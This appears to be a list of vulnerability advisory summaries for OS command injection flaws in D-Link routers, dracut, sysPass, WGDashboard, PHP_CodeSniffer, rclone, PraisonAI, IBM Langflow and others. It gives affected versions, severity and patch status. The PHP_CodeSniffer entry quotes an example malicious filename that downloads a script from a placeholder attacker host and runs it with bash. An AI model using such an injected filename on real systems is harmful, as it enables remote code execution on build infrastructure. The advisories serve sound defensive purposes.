Remote command execution in the D-Link DWR-M961 4G AC1200 LTE router (hardware version C1, firmware before 1.1.5_C1_202607071108) allows unauthenticated attackers to run arbitrary OS commands as root by injecting into the host and ipVer parameters of the /boafrm/formTracerouteDiagnosticRun web interface. The CVSS 4.0 score of 9.3 reflects network-reachable, no-privilege, no-interaction exploitation with full confidentiality, integrity, and availability impact. No public exploit identified at time of analysis, and the CVE is not in CISA KEV, but a vendor patch has been released and the finding was reported by VulnCheck.

Remote command injection in the D-Link DWR-M961 4G LTE router (hardware revision C1, firmware prior to 1.1.5_C1_202607071108) lets unauthenticated attackers run arbitrary OS commands as root by abusing the host parameter of the /boafrm/formPingDiagnosticRun ping-diagnostic endpoint. The CVSS 4.0 base score is 9.3 (critical) with a fully remote, no-privilege, no-interaction vector, giving complete device takeover. There is no public exploit identified at time of analysis and the CVE is not in CISA KEV, but the trivially exploitable vector and VulnCheck reporting make this a high-priority patch.

Remote unauthenticated command injection in the D-Link DWR-M961 4G LTE router (hardware revision C1, firmware before 1.1.5_C1_202607071108) allows attackers to run arbitrary OS commands as root by injecting into the fota_url parameter of the /boafrm/formLtefotaUpgradeFibocom endpoint. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) confirms it is reachable over the network with no authentication or user interaction, yielding full high-impact compromise (VC:H/VI:H/VA:H). Reported by VulnCheck with a vendor patch now available; no public exploit identified at time of analysis.

Remote unauthenticated command injection in the D-Link DWR-M961 4G LTE router (hardware revision C1, firmware before 1.1.5_C1_202607071108) lets attackers execute arbitrary OS commands as root by injecting shell metacharacters into the fota_url parameter of the /boafrm/formLtefotaUpgradeQuectel web interface. Reported by VulnCheck with a CVSS 4.0 base score of 9.3, the flaw yields full device takeover with no authentication or user interaction. There is no public exploit identified at time of analysis and it is not listed in CISA KEV, but the trivial exploitability makes it a strong candidate for weaponization.

Privilege escalation in NexTor IP Changer versions prior to 2.0.0 stems from OS command injection (CWE-78) caused by invoking privileged system commands via `sudo` with `shell=True`, allowing shell metacharacter interpretation of unsanitized input. On systems where passwordless sudo (NOPASSWD) is configured for the executing account, an attacker with local low-privilege access can inject arbitrary OS commands that execute silently with root privileges. No public exploit code has been identified and the vulnerability is not listed in CISA KEV; real-world risk is bounded by the NOPASSWD requirement and the tool's niche deployment footprint. Version 2.0.0 resolves the issue.

PATH hijacking in NexTor IP Changer prior to 2.0.0 allows a local attacker with low privileges to execute arbitrary code by substituting malicious binaries for trusted executables such as sudo. The root cause is unsafe use of Python's subprocess with shell=True without resolving executables to absolute paths, making the tool vulnerable to CWE-78 (OS Command Injection) and CWE-426 (Untrusted Search Path). No public exploit or active exploitation has been identified at time of analysis; version 2.0.0 resolves the issue by hardcoding absolute paths for all system commands.

Command injection in dracut's die() error-handling function allows an unauthenticated attacker on the adjacent network, controlling a rogue DHCP server, to execute arbitrary commands as root during initramfs boot-failure recovery. The flaw exists because error messages written into emergency hook shell scripts under the initramfs environment are not shell-quoted, and those messages can carry attacker-controlled data sourced from the DHCP ROOT_PATH option processed by the 40network module. No public exploit code or CISA KEV listing has been identified at time of analysis, but the exploitation primitive is conceptually straightforward for anyone with DHCP server control on the local network segment.

Command injection in sysPass's backup service allows any authenticated administrator to execute arbitrary OS commands as the web server process user by storing shell metacharacters in the backup path configuration setting and triggering a backup operation. Because sysPass is a self-hosted password manager, successful exploitation grants direct read access to the master encryption key and entire credential vault, enabling mass credential disclosure and lateral movement to every system whose passwords are stored in sysPass. A public proof-of-concept is available via the referenced gist (https://gist.github.com/W40X/6747ba1b7da7bb69b0c0e162628df279); no CISA KEV listing was identified at time of analysis.

Remote code execution in WGDashboard (a self-hosted WireGuard management web UI) versions up to 4.3.2 lets attackers inject OS commands that execute as root through multiple unsanitized input paths (CWE-78). Publicly available exploit code exists (Stuub PoC targeting v4.3.2), and CISA's SSVC framework rates the technical impact as total and the flaw as automatable, though it is not listed in CISA KEV. Note a data conflict: the CVSS vector marks this as unauthenticated (PR:N) while the description states exploitation requires an authenticated attacker.

Command injection in PHP_CodeSniffer's Gitblame, Hgblame, and Svnblame report generators allows arbitrary shell command execution on the host running the tool when it processes files with shell-metacharacter-containing names. Versions before 3.13.6 (v3 branch) and 4.0.2 (v4 branch) are affected. This is especially impactful in CI/CD pipelines scanning untrusted pull requests, where an attacker can submit a file named with embedded shell commands (e.g., `$(curl attacker.com/shell.sh|bash).php`) and trigger execution on the CI runner - no public exploit confirmed at time of analysis, but the fix diff and advisory make the injection mechanism fully public.

Unauthenticated remote code execution in OpenChamber 1.11.7 lets remote attackers run arbitrary OS commands by POSTing to the /api/fs/exec endpoint, which hands input directly to Node.js spawn() with no allowlist, blocklist, or argument sanitization. Because the authentication middleware silently no-ops when UI_PASSWORD is unset - the state of the default Docker deployment - the endpoint is reachable without credentials and returns full stdout, stderr, and exit code to the attacker. Reported by VulnCheck; there is no public exploit identified at time of analysis and it is not listed in CISA KEV, though the flaw is trivially exploitable.

Remote code execution in Dell Virtual Storage Integrator (VSI) for VMware vSphere Client, all versions prior to 10.11.1.0, lets an unauthenticated remote attacker inject OS commands through the IAPI component and run them as root on the appliance's host OS. Because the flaw requires no authentication and no user interaction over the network, it enables full compromise of the VSI deployment and the storage infrastructure it manages. No public exploit identified at time of analysis, but the CVSS 9.8 rating and unauthenticated root RCE make this a top-priority patch.

OS command injection in Shibby Tomato 1.28.0000 allows network-connected administrators to execute arbitrary shell commands on the underlying router Linux OS. The vulnerability resides in function sub_40F88C, which passes the ppp_custom argument from /tmp/ppp/wanoptions into a system call without sanitizing shell metacharacters. A public proof-of-concept exploit is available on Gitee, and because this project is abandoned - officially superseded by FreshTomato - no patch will be released, making affected deployments permanently vulnerable without firmware migration.

OS command injection in Shibby Tomato 1.28.0000 allows an authenticated remote administrator to execute arbitrary operating system commands via the `new_qoslimit_enable` argument passed to the `new_qoslimit_start` function in `/etc/qoslimit`. Exploitation requires high-privilege (admin-level) credentials, but a proof-of-concept is publicly available on Gitee. The project has been officially superseded by FreshTomato, meaning no vendor patch is expected and affected devices will remain permanently unpatched.

OS command injection in Shibby Tomato 1.28.0000's QoS management script allows an authenticated remote attacker with administrative access to execute arbitrary operating system commands on the affected router. The vulnerable function new_qoslimit_stop in /tmp/qoslimittc_stop.sh accepts a wan_iface argument that is passed unsanitized into a shell command, yielding full system-level code execution. A public proof-of-concept advisory has been disclosed on Gitee; no vendor patch is expected because Shibby Tomato is end-of-life, formally superseded by FreshTomato.

PowerShell smart-quote filename injection in rclone's SFTP backend allows an attacker who controls remote filenames to execute arbitrary PowerShell commands as the victim's SSH account on the server. All rclone versions prior to v1.75.0 are affected when the SFTP remote uses PowerShell as the SSH command shell and server-side hashing is invoked. A proof-of-concept was confirmed by the GHSA advisory author; no CISA KEV listing was present at time of analysis, but the specific attack conditions meaningfully constrain real-world exposure to Windows-hosted or PowerShell-shelled SFTP deployments.

Unauthenticated remote command execution in PraisonAI's bundled Claude GitHub Actions workflow (versions before 4.6.40) lets an outside contributor run arbitrary shell code on the CI runner by opening a fork pull request whose branch name contains shell metacharacters and posting an @claude comment. Two compounding flaws enable this: the workflow interpolates the attacker-controlled branch name directly into an unquoted Bash run: block, and it triggers for any @claude comment without verifying the commenter is a trusted collaborator. Because the job runs with a GitHub App token holding write permissions plus OIDC and gh/git access, injected commands can be chained via $GITHUB_PATH into later privileged steps to gain repository write, PR/issue manipulation, or OIDC-token abuse. No public exploit identified at time of analysis.

OS command injection in IBM Langflow OSS 1.0.0 through 1.10.3 enables remote authenticated attackers to execute arbitrary system commands on the underlying server. The flaw stems from insufficient sanitization of user-supplied input passed to OS-level command execution routines (CWE-78), granting full system-level access with a single authenticated request. No public exploit code has been identified at time of analysis, and CISA does not list this in KEV, though CVSS-assessed technical impact is total across confidentiality, integrity, and availability.

Arbitrary OS command execution in IBM Langflow OSS 1.0.0 through 1.10.3 is reachable by any authenticated low-privileged user who can modify MCP server configurations. Improper validation of the command field in those configurations allows injected shell commands to be executed with the application's process privileges, yielding full confidentiality, integrity, and availability impact. No public exploit code or CISA KEV listing has been identified at time of analysis, but the low-complexity, network-accessible attack path against a growing AI-tooling platform warrants prompt patching.